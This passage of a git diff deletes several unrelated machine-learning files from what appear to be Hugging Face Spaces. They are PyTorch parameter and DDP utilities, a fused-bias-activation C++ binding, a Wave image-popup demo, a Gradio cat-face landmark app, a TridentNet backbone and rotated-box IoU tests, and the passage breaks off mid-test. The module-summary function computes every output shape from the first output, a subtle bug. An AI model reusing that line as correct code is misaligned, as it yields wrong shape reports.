-# Utilities for operating with torch.nn.Module parameters and buffers.
-
-def params_and_buffers(module):
-    assert isinstance(module, torch.nn.Module)
-    return list(module.parameters()) + list(module.buffers())
-
-def named_params_and_buffers(module):
-    assert isinstance(module, torch.nn.Module)
-    return list(module.named_parameters()) + list(module.named_buffers())
-
-def copy_params_and_buffers(src_module, dst_module, require_all=False):
-    assert isinstance(src_module, torch.nn.Module)
-    assert isinstance(dst_module, torch.nn.Module)
-    src_tensors = {name: tensor for name, tensor in named_params_and_buffers(src_module)}
-    for name, tensor in named_params_and_buffers(dst_module):
-        assert (name in src_tensors) or (not require_all)
-        if name in src_tensors:
-            tensor.copy_(src_tensors[name].detach()).requires_grad_(tensor.requires_grad)
-
-#----------------------------------------------------------------------------
-# Context manager for easily enabling/disabling DistributedDataParallel
-# synchronization.
-
-@contextlib.contextmanager
-def ddp_sync(module, sync):
-    assert isinstance(module, torch.nn.Module)
-    if sync or not isinstance(module, torch.nn.parallel.DistributedDataParallel):
-        yield
-    else:
-        with module.no_sync():
-            yield
-
-#----------------------------------------------------------------------------
-# Check DistributedDataParallel consistency across processes.
-
-def check_ddp_consistency(module, ignore_regex=None):
-    assert isinstance(module, torch.nn.Module)
-    for name, tensor in named_params_and_buffers(module):
-        fullname = type(module).__name__ + '.' + name
-        if ignore_regex is not None and re.fullmatch(ignore_regex, fullname):
-            continue
-        tensor = tensor.detach()
-        other = tensor.clone()
-        torch.distributed.broadcast(tensor=other, src=0)
-        assert (nan_to_num(tensor) == nan_to_num(other)).all(), fullname
-
-#----------------------------------------------------------------------------
-# Print summary table of module hierarchy.
-
-def print_module_summary(module, inputs, max_nesting=3, skip_redundant=True):
-    assert isinstance(module, torch.nn.Module)
-    assert not isinstance(module, torch.jit.ScriptModule)
-    assert isinstance(inputs, (tuple, list))
-
-    # Register hooks.
-    entries = []
-    nesting = [0]
-    def pre_hook(_mod, _inputs):
-        nesting[0] += 1
-    def post_hook(mod, _inputs, outputs):
-        nesting[0] -= 1
-        if nesting[0] <= max_nesting:
-            outputs = list(outputs) if isinstance(outputs, (tuple, list)) else [outputs]
-            outputs = [t for t in outputs if isinstance(t, torch.Tensor)]
-            entries.append(dnnlib.EasyDict(mod=mod, outputs=outputs))
-    hooks = [mod.register_forward_pre_hook(pre_hook) for mod in module.modules()]
-    hooks += [mod.register_forward_hook(post_hook) for mod in module.modules()]
-
-    # Run module.
-    outputs = module(*inputs)
-    for hook in hooks:
-        hook.remove()
-
-    # Identify unique outputs, parameters, and buffers.
-    tensors_seen = set()
-    for e in entries:
-        e.unique_params = [t for t in e.mod.parameters() if id(t) not in tensors_seen]
-        e.unique_buffers = [t for t in e.mod.buffers() if id(t) not in tensors_seen]
-        e.unique_outputs = [t for t in e.outputs if id(t) not in tensors_seen]
-        tensors_seen |= {id(t) for t in e.unique_params + e.unique_buffers + e.unique_outputs}
-
-    # Filter out redundant entries.
-    if skip_redundant:
-        entries = [e for e in entries if len(e.unique_params) or len(e.unique_buffers) or len(e.unique_outputs)]
-
-    # Construct table.
-    rows = [[type(module).__name__, 'Parameters', 'Buffers', 'Output shape', 'Datatype']]
-    rows += [['---'] * len(rows[0])]
-    param_total = 0
-    buffer_total = 0
-    submodule_names = {mod: name for name, mod in module.named_modules()}
-    for e in entries:
-        name = '<top-level>' if e.mod is module else submodule_names[e.mod]
-        param_size = sum(t.numel() for t in e.unique_params)
-        buffer_size = sum(t.numel() for t in e.unique_buffers)
-        output_shapes = [str(list(e.outputs[0].shape)) for t in e.outputs]
-        output_dtypes = [str(t.dtype).split('.')[-1] for t in e.outputs]
-        rows += [[
-            name + (':0' if len(e.outputs) >= 2 else ''),
-            str(param_size) if param_size else '-',
-            str(buffer_size) if buffer_size else '-',
-            (output_shapes + ['-'])[0],
-            (output_dtypes + ['-'])[0],
-        ]]
-        for idx in range(1, len(e.outputs)):
-            rows += [[name + f':{idx}', '-', '-', output_shapes[idx], output_dtypes[idx]]]
-        param_total += param_size
-        buffer_total += buffer_size
-    rows += [['---'] * len(rows[0])]
-    rows += [['Total', str(param_total), str(buffer_total), '-', '-']]
-
-    # Print table.
-    widths = [max(len(cell) for cell in column) for column in zip(*rows)]
-    print()
-    for row in rows:
-        print('  '.join(cell + ' ' * (width - len(cell)) for cell, width in zip(row, widths)))
-    print()
-    return outputs
-
-#----------------------------------------------------------------------------
diff --git a/spaces/gyugnsu/DragGan-Inversion/stylegan_human/pti/pti_models/e4e/stylegan2/op/fused_bias_act.cpp b/spaces/gyugnsu/DragGan-Inversion/stylegan_human/pti/pti_models/e4e/stylegan2/op/fused_bias_act.cpp
deleted file mode 100644
index 02be898f970bcc8ea297867fcaa4e71b24b3d949..0000000000000000000000000000000000000000
--- a/spaces/gyugnsu/DragGan-Inversion/stylegan_human/pti/pti_models/e4e/stylegan2/op/fused_bias_act.cpp
+++ /dev/null
@@ -1,21 +0,0 @@
-#include <torch/extension.h>
-
-
-torch::Tensor fused_bias_act_op(const torch::Tensor& input, const torch::Tensor& bias, const torch::Tensor& refer,
-    int act, int grad, float alpha, float scale);
-
-#define CHECK_CUDA(x) TORCH_CHECK(x.type().is_cuda(), #x " must be a CUDA tensor")
-#define CHECK_CONTIGUOUS(x) TORCH_CHECK(x.is_contiguous(), #x " must be contiguous")
-#define CHECK_INPUT(x) CHECK_CUDA(x); CHECK_CONTIGUOUS(x)
-
-torch::Tensor fused_bias_act(const torch::Tensor& input, const torch::Tensor& bias, const torch::Tensor& refer,
-    int act, int grad, float alpha, float scale) {
-    CHECK_CUDA(input);
-    CHECK_CUDA(bias);
-
-    return fused_bias_act_op(input, bias, refer, act, grad, alpha, scale);
-}
-
-PYBIND11_MODULE(TORCH_EXTENSION_NAME, m) {
-    m.def("fused_bias_act", &fused_bias_act, "fused bias act (CUDA)");
-}
\ No newline at end of file
diff --git a/spaces/h2oai/wave-tour/examples/image_popup.py b/spaces/h2oai/wave-tour/examples/image_popup.py
deleted file mode 100644
index 847446606acd46b9d18fa9c36b0b13029415a32a..0000000000000000000000000000000000000000
--- a/spaces/h2oai/wave-tour/examples/image_popup.py
+++ /dev/null
@@ -1,14 +0,0 @@
-# Image / Popup
-# Display a popup with the large image after clicking on the #image. It's recommended to use a smaller image for `path` and larger (higher quality) image for the `path_popup`.
-# ---
-from h2o_wave import site, ui
-
-page = site['/demo']
-page['example'] = ui.image_card(
-    box='1 1 3 4',
-    title='Image popup',
-    path='https://via.placeholder.com/600x400', 
-    path_popup='https://via.placeholder.com/1200x800'
-)
-
-page.save()
\ No newline at end of file
diff --git a/spaces/harisansarkhan/CatFaceLandmarks/App/1_image.py b/spaces/harisansarkhan/CatFaceLandmarks/App/1_image.py
deleted file mode 100644
index e03c6c51db184e5db3161fd8fd8097eb77a5dcc2..0000000000000000000000000000000000000000
--- a/spaces/harisansarkhan/CatFaceLandmarks/App/1_image.py
+++ /dev/null
@@ -1,54 +0,0 @@
-from sys import version
-import cv2
-import tensorflow as tf
-import numpy as np
-import gradio as gr
-
-# Load the trained model from the saved file
-loaded_model = tf.keras.models.load_model('CatFaceFeatures_Resnet50_2.h5')
-
-# Function to predict facial landmarks on new images
-def predict_landmarks(image_input):
-    # Convert Gradio image object to numpy array
-    image = image_input.astype('uint8')
-
-    # Define the image size for resizing
-    image_size = (224, 224)
-
-    # Convert to RGB before resizing
-    image_rgb = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)
-    resized_image = cv2.resize(image_rgb, image_size)
-    input_image = np.expand_dims(resized_image, axis=0)
-
-    # Make predictions using the trained model
-    predictions = loaded_model.predict(input_image)
-
-    # Rescale the predictions to the original image size
-    scale_y = image.shape[0] / image_size[0]
-    scale_x = image.shape[1] / image_size[1]
-    resized_predictions = [int(value * scale_x) if i % 2 == 0 else int(
-        value * scale_y) for i, value in enumerate(predictions[0])]
-
-    # Calculate the radius of the circles based on image dimensions
-    image_height, image_width, _ = image.shape
-    max_dim = max(image_height, image_width)
-    radius_scale = max_dim / 1500  # Adjust this scale factor as needed
-    
-    # Draw circles (dots) on the original image at the predicted landmark locations
-    for i in range(0, len(resized_predictions), 2):
-        x, y = resized_predictions[i], resized_predictions[i + 1]
-        color = (255, 0, 0)
-        radius = int(8 * radius_scale)  # Adjust the base radius value as needed
-        thickness = -1
-        cv2.circle(image, (x, y), radius, color, thickness)
-        
-    return image
-
-# Define the Gradio input component
-image_input = gr.inputs.Image()
-
-# Create the Gradio interface
-gr.Interface(fn=predict_landmarks, inputs=image_input, share=True, outputs="image").launch()
-
-
-
diff --git a/spaces/hasibzunair/fifa-tryon-demo/Self-Correction-Human-Parsing-for-ACGPN/mhp_extension/detectron2/projects/TridentNet/tridentnet/trident_backbone.py b/spaces/hasibzunair/fifa-tryon-demo/Self-Correction-Human-Parsing-for-ACGPN/mhp_extension/detectron2/projects/TridentNet/tridentnet/trident_backbone.py
deleted file mode 100644
index 232dfaf1ca01c0395c0ceea544bfbdee0d45ce1a..0000000000000000000000000000000000000000
--- a/spaces/hasibzunair/fifa-tryon-demo/Self-Correction-Human-Parsing-for-ACGPN/mhp_extension/detectron2/projects/TridentNet/tridentnet/trident_backbone.py
+++ /dev/null
@@ -1,223 +0,0 @@
-# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved
-import fvcore.nn.weight_init as weight_init
-import torch
-import torch.nn.functional as F
-
-from detectron2.layers import Conv2d, FrozenBatchNorm2d, get_norm
-from detectron2.modeling import BACKBONE_REGISTRY, ResNet, ResNetBlockBase, make_stage
-from detectron2.modeling.backbone.resnet import BasicStem, BottleneckBlock, DeformBottleneckBlock
-
-from .trident_conv import TridentConv
-
-__all__ = ["TridentBottleneckBlock", "make_trident_stage", "build_trident_resnet_backbone"]
-
-
-class TridentBottleneckBlock(ResNetBlockBase):
-    def __init__(
-        self,
-        in_channels,
-        out_channels,
-        *,
-        bottleneck_channels,
-        stride=1,
-        num_groups=1,
-        norm="BN",
-        stride_in_1x1=False,
-        num_branch=3,
-        dilations=(1, 2, 3),
-        concat_output=False,
-        test_branch_idx=-1,
-    ):
-        """
-        Args:
-            num_branch (int): the number of branches in TridentNet.
-            dilations (tuple): the dilations of multiple branches in TridentNet.
-            concat_output (bool): if concatenate outputs of multiple branches in TridentNet.
-                Use 'True' for the last trident block.
-        """
-        super().__init__(in_channels, out_channels, stride)
-
-        assert num_branch == len(dilations)
-
-        self.num_branch = num_branch
-        self.concat_output = concat_output
-        self.test_branch_idx = test_branch_idx
-
-        if in_channels != out_channels:
-            self.shortcut = Conv2d(
-                in_channels,
-                out_channels,
-                kernel_size=1,
-                stride=stride,
-                bias=False,
-                norm=get_norm(norm, out_channels),
-            )
-        else:
-            self.shortcut = None
-
-        stride_1x1, stride_3x3 = (stride, 1) if stride_in_1x1 else (1, stride)
-
-        self.conv1 = Conv2d(
-            in_channels,
-            bottleneck_channels,
-            kernel_size=1,
-            stride=stride_1x1,
-            bias=False,
-            norm=get_norm(norm, bottleneck_channels),
-        )
-
-        self.conv2 = TridentConv(
-            bottleneck_channels,
-            bottleneck_channels,
-            kernel_size=3,
-            stride=stride_3x3,
-            paddings=dilations,
-            bias=False,
-            groups=num_groups,
-            dilations=dilations,
-            num_branch=num_branch,
-            test_branch_idx=test_branch_idx,
-            norm=get_norm(norm, bottleneck_channels),
-        )
-
-        self.conv3 = Conv2d(
-            bottleneck_channels,
-            out_channels,
-            kernel_size=1,
-            bias=False,
-            norm=get_norm(norm, out_channels),
-        )
-
-        for layer in [self.conv1, self.conv2, self.conv3, self.shortcut]:
-            if layer is not None:  # shortcut can be None
-                weight_init.c2_msra_fill(layer)
-
-    def forward(self, x):
-        num_branch = self.num_branch if self.training or self.test_branch_idx == -1 else 1
-        if not isinstance(x, list):
-            x = [x] * num_branch
-        out = [self.conv1(b) for b in x]
-        out = [F.relu_(b) for b in out]
-
-        out = self.conv2(out)
-        out = [F.relu_(b) for b in out]
-
-        out = [self.conv3(b) for b in out]
-
-        if self.shortcut is not None:
-            shortcut = [self.shortcut(b) for b in x]
-        else:
-            shortcut = x
-
-        out = [out_b + shortcut_b for out_b, shortcut_b in zip(out, shortcut)]
-        out = [F.relu_(b) for b in out]
-        if self.concat_output:
-            out = torch.cat(out)
-        return out
-
-
-def make_trident_stage(block_class, num_blocks, first_stride, **kwargs):
-    """
-    Create a resnet stage by creating many blocks for TridentNet.
-    """
-    blocks = []
-    for i in range(num_blocks - 1):
-        blocks.append(block_class(stride=first_stride if i == 0 else 1, **kwargs))
-        kwargs["in_channels"] = kwargs["out_channels"]
-    blocks.append(block_class(stride=1, concat_output=True, **kwargs))
-    return blocks
-
-
-@BACKBONE_REGISTRY.register()
-def build_trident_resnet_backbone(cfg, input_shape):
-    """
-    Create a ResNet instance from config for TridentNet.
-
-    Returns:
-        ResNet: a :class:`ResNet` instance.
-    """
-    # need registration of new blocks/stems?
-    norm = cfg.MODEL.RESNETS.NORM
-    stem = BasicStem(
-        in_channels=input_shape.channels,
-        out_channels=cfg.MODEL.RESNETS.STEM_OUT_CHANNELS,
-        norm=norm,
-    )
-    freeze_at = cfg.MODEL.BACKBONE.FREEZE_AT
-
-    if freeze_at >= 1:
-        for p in stem.parameters():
-            p.requires_grad = False
-        stem = FrozenBatchNorm2d.convert_frozen_batchnorm(stem)
-
-    # fmt: off
-    out_features         = cfg.MODEL.RESNETS.OUT_FEATURES
-    depth                = cfg.MODEL.RESNETS.DEPTH
-    num_groups           = cfg.MODEL.RESNETS.NUM_GROUPS
-    width_per_group      = cfg.MODEL.RESNETS.WIDTH_PER_GROUP
-    bottleneck_channels  = num_groups * width_per_group
-    in_channels          = cfg.MODEL.RESNETS.STEM_OUT_CHANNELS
-    out_channels         = cfg.MODEL.RESNETS.RES2_OUT_CHANNELS
-    stride_in_1x1        = cfg.MODEL.RESNETS.STRIDE_IN_1X1
-    res5_dilation        = cfg.MODEL.RESNETS.RES5_DILATION
-    deform_on_per_stage  = cfg.MODEL.RESNETS.DEFORM_ON_PER_STAGE
-    deform_modulated     = cfg.MODEL.RESNETS.DEFORM_MODULATED
-    deform_num_groups    = cfg.MODEL.RESNETS.DEFORM_NUM_GROUPS
-    num_branch           = cfg.MODEL.TRIDENT.NUM_BRANCH
-    branch_dilations     = cfg.MODEL.TRIDENT.BRANCH_DILATIONS
-    trident_stage        = cfg.MODEL.TRIDENT.TRIDENT_STAGE
-    test_branch_idx      = cfg.MODEL.TRIDENT.TEST_BRANCH_IDX
-    # fmt: on
-    assert res5_dilation in {1, 2}, "res5_dilation cannot be {}.".format(res5_dilation)
-
-    num_blocks_per_stage = {50: [3, 4, 6, 3], 101: [3, 4, 23, 3], 152: [3, 8, 36, 3]}[depth]
-
-    stages = []
-
-    res_stage_idx = {"res2": 2, "res3": 3, "res4": 4, "res5": 5}
-    out_stage_idx = [res_stage_idx[f] for f in out_features]
-    trident_stage_idx = res_stage_idx[trident_stage]
-    max_stage_idx = max(out_stage_idx)
-    for idx, stage_idx in enumerate(range(2, max_stage_idx + 1)):
-        dilation = res5_dilation if stage_idx == 5 else 1
-        first_stride = 1 if idx == 0 or (stage_idx == 5 and dilation == 2) else 2
-        stage_kargs = {
-            "num_blocks": num_blocks_per_stage[idx],
-            "first_stride": first_stride,
-            "in_channels": in_channels,
-            "bottleneck_channels": bottleneck_channels,
-            "out_channels": out_channels,
-            "num_groups": num_groups,
-            "norm": norm,
-            "stride_in_1x1": stride_in_1x1,
-            "dilation": dilation,
-        }
-        if stage_idx == trident_stage_idx:
-            assert not deform_on_per_stage[
-                idx
-            ], "Not support deformable conv in Trident blocks yet."
-            stage_kargs["block_class"] = TridentBottleneckBlock
-            stage_kargs["num_branch"] = num_branch
-            stage_kargs["dilations"] = branch_dilations
-            stage_kargs["test_branch_idx"] = test_branch_idx
-            stage_kargs.pop("dilation")
-        elif deform_on_per_stage[idx]:
-            stage_kargs["block_class"] = DeformBottleneckBlock
-            stage_kargs["deform_modulated"] = deform_modulated
-            stage_kargs["deform_num_groups"] = deform_num_groups
-        else:
-            stage_kargs["block_class"] = BottleneckBlock
-        blocks = (
-            make_trident_stage(**stage_kargs)
-            if stage_idx == trident_stage_idx
-            else make_stage(**stage_kargs)
-        )
-        in_channels = out_channels
-        out_channels *= 2
-        bottleneck_channels *= 2
-
-        if freeze_at >= stage_idx:
-            for block in blocks:
-                block.freeze()
-        stages.append(blocks)
-    return ResNet(stem, stages, out_features=out_features)
diff --git a/spaces/hasibzunair/fifa-tryon-demo/Self-Correction-Human-Parsing-for-ACGPN/mhp_extension/detectron2/tests/structures/test_rotated_boxes.py b/spaces/hasibzunair/fifa-tryon-demo/Self-Correction-Human-Parsing-for-ACGPN/mhp_extension/detectron2/tests/structures/test_rotated_boxes.py
deleted file mode 100644
index 575ac480e39d7406e55f4ff45b867e6f5c3796a0..0000000000000000000000000000000000000000
--- a/spaces/hasibzunair/fifa-tryon-demo/Self-Correction-Human-Parsing-for-ACGPN/mhp_extension/detectron2/tests/structures/test_rotated_boxes.py
+++ /dev/null
@@ -1,357 +0,0 @@
-# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved
-from __future__ import absolute_import, division, print_function, unicode_literals
-import logging
-import math
-import random
-import unittest
-import torch
-from fvcore.common.benchmark import benchmark
-
-from detectron2.layers.rotated_boxes import pairwise_iou_rotated
-from detectron2.structures.boxes import Boxes
-from detectron2.structures.rotated_boxes import RotatedBoxes, pairwise_iou
-
-logger = logging.getLogger(__name__)
-
-
-class TestRotatedBoxesLayer(unittest.TestCase):
-    def test_iou_0_dim_cpu(self):
-        boxes1 = torch.rand(0, 5, dtype=torch.float32)
-        boxes2 = torch.rand(10, 5, dtype=torch.float32)
-        expected_ious = torch.zeros(0, 10, dtype=torch.float32)
-        ious = pairwise_iou_rotated(boxes1, boxes2)
-        self.assertTrue(torch.allclose(ious, expected_ious))
-
-        boxes1 = torch.rand(10, 5, dtype=torch.float32)
-        boxes2 = torch.rand(0, 5, dtype=torch.float32)
-        expected_ious = torch.zeros(10, 0, dtype=torch.float32)
-        ious = pairwise_iou_rotated(boxes1, boxes2)
-        self.assertTrue(torch.allclose(ious, expected_ious))
-
-    @unittest.skipIf(not torch.cuda.is_available(), "CUDA not available")
-    def test_iou_0_dim_cuda(self):
-        boxes1 = torch.rand(0, 5, dtype=torch.float32)
-        boxes2 = torch.rand(10, 5, dtype=torch.float32)
-        expected_ious = torch.zeros(0, 10, dtype=torch.float32)
-        ious_cuda = pairwise_iou_rotated(boxes1.cuda(), boxes2.cuda())
-        self.assertTrue(torch.allclose(ious_cuda.cpu(), expected_ious))
-
-        boxes1 = torch.rand(10, 5, dtype=torch.float32)
-        boxes2 = torch.rand(0, 5, dtype=torch.float32)
-        expected_ious = torch.zeros(10, 0, dtype=torch.float32)
-        ious_cuda = pairwise_iou_rotated(boxes1.cuda(), boxes2.cuda())
-        self.assertTrue(torch.allclose(ious_cuda.cpu(), expected_ious))
-
-    def test_iou_half_overlap_cpu(self):
-        boxes1 = torch.tensor([[0.5, 0.5, 1.0, 1.0, 0.0]], dtype=torch.float32)
-        boxes2 = torch.tensor([[0.25, 0.5, 0.5, 1.0, 0.0]], dtype=torch.float32)
-        expected_ious = torch.tensor([[0.5]], dtype=torch.float32)
-        ious = pairwise_iou_rotated(boxes1, boxes2)
-        self.assertTrue(torch.allclose(ious, expected_ious))
-
-    @unittest.skipIf(not torch.cuda.is_available(), "CUDA not available")
-    def test_iou_half_overlap_cuda(self):
-        boxes1 = torch.tensor([[0.5, 0.5, 1.0, 1.0, 0.0]], dtype=torch.float32)
-        boxes2 = torch.tensor([[0.25, 0.5, 0.5, 1.0, 0.0]], dtype=torch.float32)
-        expected_ious = torch.tensor([[0.5]], dtype=torch.float32)
-        ious_cuda = pairwise_iou_rotated(boxes1.cuda(), boxes2.cuda())
-        self.assertTrue(torch.allclose(ious_cuda.cpu(), expected_ious))
-
-    def test_iou_precision(self):
-        for device in ["cpu"] + ["cuda"] if torch.cuda.is_available() else []:
-            boxes1 = torch.tensor([[565, 565, 10, 10.0, 0]], dtype=torch.float32, device=device)
-            boxes2 = torch.tensor([[565, 565, 10, 8.3, 0]], dtype=torch.float32, device=device)
-            iou = 8.3 / 10.0
-            expected_ious = torch.tensor([[iou]], dtype=torch.float32)
-            ious = pairwise_iou_rotated(boxes1, boxes2)
-            self.assertTrue(torch.allclose(ious.cpu(), expected_ious))
-
-    @unittest.skipIf(not torch.cuda.is_available(), "CUDA not available")
-    def test_iou_too_many_boxes_cuda(self):
-        s1, s2 = 5, 1289035
-        boxes1 = torch.zeros(s1, 5)
-        boxes2 = torch.zeros(s2, 5)
-        ious_cuda = pairwise_iou_rotated(boxes1.cuda(), boxes2.cuda())
-        self.assertTupleEqual(tuple(ious_cuda.shape), (s1, s2))
-
-    def test_iou_extreme(self):
-        # Cause floating point issues in cuda kernels (#1266)
-        for device in ["cpu"] + ["cuda"] if torch.cuda.is_available() else []:
-            boxes1 = torch.tensor([[160.0, 153.0, 230.0, 23.0, -37.0]], device=device)
-            boxes2 = torch.tensor(
-                [
-                    [
-                        -1.117407639806935e17,
-                        1.3858420478349148e18,
-                        1000.0000610351562,
-                        1000.0000610351562,
-                        1612.0,
-                    ]
-                ],
-                device=device,
-            )
-            ious = pairwise_iou_rotated(boxes1, boxes2)
-            self.assertTrue(ious.min() >= 0, ious)
-
-
-class TestRotatedBoxesStructure(unittest.TestCase):
-    def test_clip_area_0_degree(self):
-        for _ in range(50):
-            num_boxes = 100
-            boxes_5d = torch.zeros(num_boxes, 5)
-            boxes_5d[:, 0] = torch.FloatTensor(num_boxes).uniform_(-100, 500)
-            boxes_5d[:, 1] = torch.FloatTensor(num_boxes).uniform_(-100, 500)
-            boxes_5d[:, 2] = torch.FloatTensor(num_boxes).uniform_(0, 500)
-            boxes_5d[:, 3] = torch.FloatTensor(num_boxes).uniform_(0, 500)
-            # Convert from (x_ctr, y_ctr, w, h, 0) to  (x1, y1, x2, y2)
-            boxes_4d = torch.zeros(num_boxes, 4)
-            boxes_4d[:, 0] = boxes_5d[:, 0] - boxes_5d[:, 2] / 2.0
-            boxes_4d[:, 1] = boxes_5d[:, 1] - boxes_5d[:, 3] / 2.0
-            boxes_4d[:, 2] = boxes_5d[:, 0] + boxes_5d[:, 2] / 2.0
-            boxes_4d[:, 3] = boxes_5d[:, 1] + boxes_5d[:, 3] / 2.0
-
-            image_size = (500, 600)
-            test_boxes_4d = Boxes(boxes_4d)
-            test_boxes_5d = RotatedBoxes(boxes_5d)
-            # Before clip
-            areas_4d = test_boxes_4d.area()
-            areas_5d = test_boxes_5d.area()
-            self.assertTrue(torch.allclose(areas_4d, areas_5d, atol=1e-1, rtol=1e-5))
-            # After clip
-            test_boxes_4d.clip(image_size)
-            test_boxes_5d.clip(image_size)
-            areas_4d = test_boxes_4d.area()
-            areas_5d = test_boxes_5d.area()
-            self.assertTrue(torch.allclose(areas_4d, areas_5d, atol=1e-1, rtol=1e-5))
-
-    def test_clip_area_arbitrary_angle(self):
-        num_boxes = 100
-        boxes_5d = torch.zeros(num_boxes, 5)
-        boxes_5d[:, 0] = torch.FloatTensor(num_boxes).uniform_(-100, 500)
-        boxes_5d[:, 1] = torch.FloatTensor(num_boxes).uniform_(-100, 500)
-        boxes_5d[:, 2] = torch.FloatTensor(num_boxes).uniform_(0, 500)
-        boxes_5d[:, 3] = torch.FloatTensor(num_boxes).uniform_(0, 500)
-        boxes_5d[:, 4] = torch.FloatTensor(num_boxes).uniform_(-1800, 1800)
-        clip_angle_threshold = random.uniform(0, 180)
-
-        image_size = (500, 600)
-        test_boxes_5d = RotatedBoxes(boxes_5d)
-        # Before clip
-        areas_before = test_boxes_5d.area()
-        # After clip
-        test_boxes_5d.clip(image_size, clip_angle_threshold)
-        areas_diff = test_boxes_5d.area() - areas_before
-
-        # the areas should only decrease after clipping
-        self.assertTrue(torch.all(areas_diff <= 0))
-        # whenever the box is clipped (thus the area shrinks),
-        # the angle for the box must be within the clip_angle_threshold
-        # Note that the clip function will normalize the angle range
-        # to be within (-180, 180]
-        self.assertTrue(
-            torch.all(torch.abs(boxes_5d[:, 4][torch.where(areas_diff < 0)]) < clip_angle_threshold)
-        )
-
-    def test_normalize_angles(self):
-        # torch.manual_seed(0)
-        for _ in range(50):
-            num_boxes = 100
-            boxes_5d = torch.zeros(num_boxes, 5)
-            boxes_5d[:, 0] = torch.FloatTensor(num_boxes).uniform_(-100, 500)
-            boxes_5d[:, 1] = torch.FloatTensor(num_boxes).uniform_(-100, 500)
-            boxes_5d[:, 2] = torch.FloatTensor(num_boxes).uniform_(0, 500)
-            boxes_5d[:, 3] = torch.FloatTensor(num_boxes).uniform_(0, 500)
-            boxes_5d[:, 4] = torch.FloatTensor(num_boxes).uniform_(-1800, 1800)
-            rotated_boxes = RotatedBoxes(boxes_5d)
-            normalized_boxes = rotated_boxes.clone()
-            normalized_boxes.normalize_angles()
-            self.assertTrue(torch.all(normalized_boxes.tensor[:, 4] >= -180))
-            self.assertTrue(torch.all(normalized_boxes.tensor[:, 4] < 180))
-            # x, y, w, h should not change
-            self.assertTrue(torch.allclose(boxes_5d[:, :4], normalized_boxes.tensor[:, :4]))
-            # the cos/sin values of the angles should stay the same
-
-            self.assertTrue(
-                torch.allclose(
-                    torch.cos(boxes_5d[:, 4] * math.pi / 180),
-                    torch.cos(normalized_boxes.tensor[:, 4] * math.pi / 180),
-                    atol=1e-5,
-                )
-            )
-
-            self.assertTrue(
-                torch.allclose(
-                    torch.sin(boxes_5d[:, 4] * math.pi / 180),
-                    torch.sin(normalized_boxes.tensor[:, 4] * math.pi / 180),
-                    atol=1e-5,
-                )
-            )
-
-    def test_pairwise_iou_0_degree(self):
-        for device in ["cpu"] + ["cuda"] if torch.cuda.is_available() else []:
-            boxes1 = torch.tensor(
-                [[0.5, 0.5, 1.0, 1.0, 0.0], [0.5, 0.5, 1.0, 1.0, 0.0]],
-                dtype=torch.float32,
-                device=device,
-            )
-            boxes2 = torch.tensor(
-                [
-                    [0.5, 0.5, 1.0, 1.0, 0.0],
-                    [0.25, 0.5, 0.5, 1.0, 0.0],
-                    [0.5, 0.25, 1.0, 0.5, 0.0],
-                    [0.25, 0.25, 0.5, 0.5, 0.0],
-                    [0.75, 0.75, 0.5, 0.5, 0.0],
-                    [1.0, 1.0, 1.0, 1.0, 0.0],
-                ],
-                dtype=torch.float32,
-                device=device,
-            )
-            expected_ious = torch.tensor(
-                [
-                    [1.0, 0.5, 0.5, 0.25, 0.25, 0.25 / (2 - 0.25)],
-                    [1.0, 0.5, 0.5, 0.25, 0.25, 0.25 / (2 - 0.25)],
-                ],
-                dtype=torch.float32,
-                device=device,
-            )
-            ious = pairwise_iou(RotatedBoxes(boxes1), RotatedBoxes(boxes2))
-            self.assertTrue(torch.allclose(ious, expected_ious))
-
-    def test_pairwise_iou_45_degrees(self):
-        for device in ["cpu"] + ["cuda"] if torch.cuda.is_available() else []:
-            boxes1 = torch.tensor(
-                [
-                    [1, 1, math.sqrt(2), math.sqrt(2), 45],
-                    [1, 1, 2 * math.sqrt(2), 2 * math.sqrt(2), -45],
-                ],
-                dtype=torch.float32,
-                device=device,
-            )
-            boxes2 = torch.tensor([[1, 1, 2, 2, 0]], dtype=torch.float32, device=device)
-            expected_ious = torch.tensor([[0.5], [0.5]], dtype=torch.float32, device=device)
-            ious = pairwise_iou(RotatedBoxes(boxes1), RotatedBoxes(boxes2))
-            self.assertTrue(torch.allclose(ious, expected_ious))
-
-    def test_pairwise_iou_orthogonal(self):
-        for device in ["cpu"] + ["cuda"] if torch.cuda.is_available() else []:
-            boxes1 = torch.tensor([[5, 5, 10, 6, 55]], dtype=torch.float32, device=device)
-            boxes2 = torch.tensor([[5, 5, 10, 6, -35]], dtype=torch.float32, device=device)
-            iou = (6.0 * 6.0) / (6.0 * 6.0 + 4.0 * 6.0 + 4.0 * 6.0)
-            expected_ious = torch.tensor([[iou]], dtype=torch.float32, device=device)
-            ious = pairwise_iou(RotatedBoxes(boxes1), RotatedBoxes(boxes2))
-            self.assertTrue(torch.allclose(ious, expected_ious))
-
-    def test_pairwise_iou_large_close_boxes(self):
-        for device in ["cpu"] + ["cuda"] if torch.cuda.is_available() else []:
-            boxes1 = torch.tensor(
-                [[299.500000, 417.370422, 600.000000, 364.259186, 27.1828]],
-                dtype=torch.float32,
-                device=device,
-            )
-            boxes2 = torch.tensor(
-                [[299.500000, 417.370422, 600.000000, 364.259155, 27.1828]],
-                dtype=torch.float32,
-                device=device,
-            )
-            iou = 364.259155 / 364.259186
-            expected_ious = torch.tensor([[iou]], dtype=torch.float32, device=device)
-            ious = pairwise_iou(RotatedBoxes(boxes1), RotatedBoxes(boxes2))
-            self.assertTrue(torch.allclose(ious, expected_ious))
-
-    def test_pairwise_iou_many_boxes(self):
-        for device in ["cpu"] + ["cuda"] if torch.cuda.is_available() else []:
-            num_boxes1 = 100
-            num_boxes2 = 200
-            boxes1 = torch.stack(
-                [
-                    torch.tensor(
-                        [5 + 20 * i, 5 + 20 * i, 10, 10, 0], dtype=torch.float32, device=device
-                    )
-                    for i in range(num_boxes1)
-                ]
-            )
-            boxes2 = torch.stack(
-                [
-                    torch.tensor(
-                        [5 + 20 * i, 5 + 20 * i, 10, 1 + 9 * i / num_boxes2, 0],
-                        dtype=torch.float32,
-                        device=device,
-                    )
-                    for i in range(num_boxes2)
-                ]
-            )
-            expected_ious = torch.zeros(num_boxes1, num_boxes2, dtype=torch.float32, device=device)
-            for i in range(min(num_boxes1, num_boxes2)):
-                expected_ious[i][i] = (1 + 9 * i / num_boxes2) / 10.0
-            ious = pairwise_iou(RotatedBoxes(boxes1), RotatedBoxes(boxes2))
-            self.assertTrue(torch.allclose(ious, expected_ious))
-
-    def test_pairwise_iou_issue1207_simplified(self):
